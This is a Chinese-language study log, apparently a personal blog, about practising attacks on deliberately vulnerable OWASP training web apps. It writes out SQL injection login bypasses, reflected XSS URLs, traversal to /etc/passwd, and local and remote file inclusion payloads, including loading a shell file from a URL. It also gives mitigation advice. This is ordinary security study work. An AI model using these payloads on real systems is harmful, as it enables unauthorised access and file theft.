一.OWASP Vicnum
1.状态操控:能够在网页源代码下查看相关信息如答案
2.SQL注入:/vicnum/cgi-bin/vicnum3.pl 访问不到
不会用POST方法把变量传递上去:
player=a&cnt=7),("nomnom",99999,0)-- - &VIEWSTATE=MTY3
访问不到就不知道怎么注入了,这个他们确定是这个页面吗?
3.Reflected XSS 反射XSS(非持久XSS,需要用户点击链接才有效,论坛那些是嵌入到DB中,持久XSS)
http://owaspbwa/vicnum/vicnum5.php?player=<script>alert(1)</script>
没法用,因为/vicnum/vicnum5.php 访问不到
4.SQL注入:没法使用,因为/vicnum/vicnum5.php 访问不到
5.反射XSS没法使用http://10.0.54.42/vicnum/cgi-bin/vicnum1.pl访问不到
小结:vicnum网站很多漏洞都无法重现,两个SQL注入和两个反射XSS都因为访问不到页面而作废
这个是我打开的方式不对呢?还是在部署的时候没搞对呢?如果下个web app也各种不能访问的话,可能是部署问题了。
二.Google Gruyere
关于这个web app只找到少数的资料:
官方地址: http://google-gruyere.appspot.com/
可以直接在线答题 也可以下载代码在本地搭建
代码地址: http://jarlsberg.appspot.com/code/
本地搭建时注意只能用 python2.5 其他高版本的不行
然后各种教程基本都打不开:http://google-gruyere.appspot.com/part1
访问本地的google gruyere也出现:
Service Temporarily Unavailable
The server is temporarily unable to service your request due to maintenance downtime or capacity problems.
Please try again later.
小结:这个google gruyere进不去,搞不了,等以后能进去再说吧,然后bug report中也没有gruyere的msg,哎,看来是被抛弃了~
三.WackoPicko
小结:闹不住。。没漏洞
四.Peruggia 一个很简约的看起来像是blog或者论坛的web app
1.SQL注入绕过login Bypass
report说明:
sql injection in login. POST data could look like :
username=' or 1=1-- -&password=aaa
那么我们就可以在username这一textbox填写' or 1=1 -- (必须加个空格)
password 填写 aaa(或者不填)
而不是在URL地址栏这么填写:
http://10.0.54.42/peruggia/index.php?action=login?username=' or 1=1-- -&password=aaa
2.目录遍历
/peruggia/index.php?action=../../../../../../../etc/passwd%00
我知道目录遍历漏洞是怎么产生的:'/'的不一致!
请看下面的php代码:
<?php
readfile("/home/user/data".$_GET['data_file'])
?>
这是一段存在安全问题的代码,我可以在URL地址栏这么写:
http://hostname/readfile.php?datafile=../../../etc/passwd
这样子就会被解析成:
/home/user/data/../../../etc/passwd从而看到了用户目录
再比如看下面php服务器配置:
location /paper {
alias /home/wwwroot/paper/;
autoindex on;
}
这里的 /paper 和 alias /home/wwwroot/paper/ 不一致
导致访问 http://homelocal/paper/ 本来应该是paper目录的内容,但是
可以访问 http://homelocal/paper../ 可以看到了/home/wwwroot/的内容了
安全建议 1:
使用如下配置
location /paper {
alias /home/wwwroot/paper;
或
location /paper/ {
alias /home/wwwroot/paper/;
安全建议 2:
程序中检查特殊符号“..”
安全建议 3:
php.ini或者httpd.conf下
open_basedir = /home/user/:/tmp/ 加入open_basedir 能够访问的目录,多个用“:”隔开
有时候不解析 '/'符号怎么办?不解析'.'符号,怎么办?
参考文章:http://blog.csdn.net/xihuanqiqi/article/details/8063980
3.Remove(Local) File Inclusion 远程(本地)文件包含
PHP程序员把一些重复用到的代码放在一个文件中,以后要用到就可以包含之就好了。
函数:include() require() require_once() include_once()
include()和require()用于包含并运行指定文件,唯一的区别在于:
前者失败时会产生一个警告,后者在失败时则直接导致致命错误。
include_once()和require_once()和上述两个函数差不多,只不过只包含一次,不重复包含。
本地包含例子:
xxx/main.php?id=local.php
远程包含例子:
xxx/main.php?id=http://xxx/index.php
Ps:在php.ini中"allow_url_fopen"功能是默认On的,可以用URL连接的形式来指定要被包括的文件,进行远程包含调用。
看看这段URL:
xxx/main.php?id=../../../etc/passwd
安全建议1:(远程)如果不是特殊要求,在php.ini中把allow_url_open(PHP4中)设置为off,防止远程包含文件漏洞利用
安全建议2:(远程)include,require文件时候加个目录名字如include("upload/".$_GET['id']);可以防止远程包含
安全建议3:(本地)去掉php.ini文件中open_basedir =前面的; 然后再=on 它会阻止你绕过过多的目录
Ps:
allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,
在PHP4中则只有一个allow_url_fopen选择。
其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞
思考1:远程包含文件的时候这个文件是不是要自己搭个服务器(或者别人搭好了)然后放上小马呢?
思考2:加入这个xxx/main.php?id=http://xxx/index.php中的http://xxx/index.php是个网马,include之后是
以什么形式存在呢?网页吗?还是说当前页面就变成了这个webshell?
回答1:已经有的网站能够提供shell,这个以后要细心找找。
回答2:已经是直接打开就好了。
Ps:文件包含截断
有两种经典的包含:
include("$_GET['dir']/test.php");
include("$_GET['dir']");
第二种就直接写就行了,第一种需要截断,截断有三种方法:
(1)使用“%00”如:http://localhost/include.php?dir=shell.txt%00,前提Magic_quote为off且为LFI
这里的Magic_quote,魔术引号的作用是将提交的数据自动进行转义。
开启后转义,如单引号,双引号,反斜线,NULL字符会在之后自动加个反斜线。导致“%00”失效!
(2)使用“?”如:http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?,前提只能用RFI
这个相当于重新GET提交了一遍。
(3)突破长度如:http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt//////////////////////////...///
4.反射XSS
http://owaspbwa/peruggia/index.php?action=learn&type=<script>alert(1)</script>&paper=...
很不幸,还是不行。没有alert(1)。不知道这么为什么?
至今为止发现只要是反射XSS都不行。
5.缺少访问控制
http://10.0.54.42/peruggia/index.php?action=account 可以直接删除用户而不用登录
思考1:那么这个如果用扫描器来扫描的话,是不是不清楚这个漏洞的存在呢?因为扫描器不知道这个对我们来说有用,
它只知道这个URL是否有效啊?
思考2:意味着如果不在页面开始加限制的话,所有的页面我都能访问吗?
回答1:个人认为扫描器很笨,如果能够扫到它,我们还是要手工查看扫描结果并且自行判断哪些URL对我们有用。
回答2:应该是这样子的。
小结:
Peruggia这个网站还真的是有爱啊,让我学到了如下这么多的东西如远程(本地)文件包含以及文件截断,目录遍历,
万能密码及其备注--(加空格),缺少访问控制(这个想法虽然很简单,但是以前却没想过,哎~),反射XSS(虽然没用,但是原理懂了~~)
五.hackxor 是一个用hack知识通关的游戏平台吧。。
小结:没有漏洞资料,不研究。
六.BodgeIt 是一个商店网站,可能是放一些应用上去卖
小结:没有漏洞资料,不研究。
七.WordPress 不用我说了,特别出名的webblog,上次ISCC比赛就被它整过。
1.Command Injection 是个Remote Shell Injection Exploit
远程Shell注入漏洞利用,针对它有这个技术文章:http://www.exploit-db.com/exploits/6/
没看懂这脚本。
哎。。今天就先到这里吧。。晚安。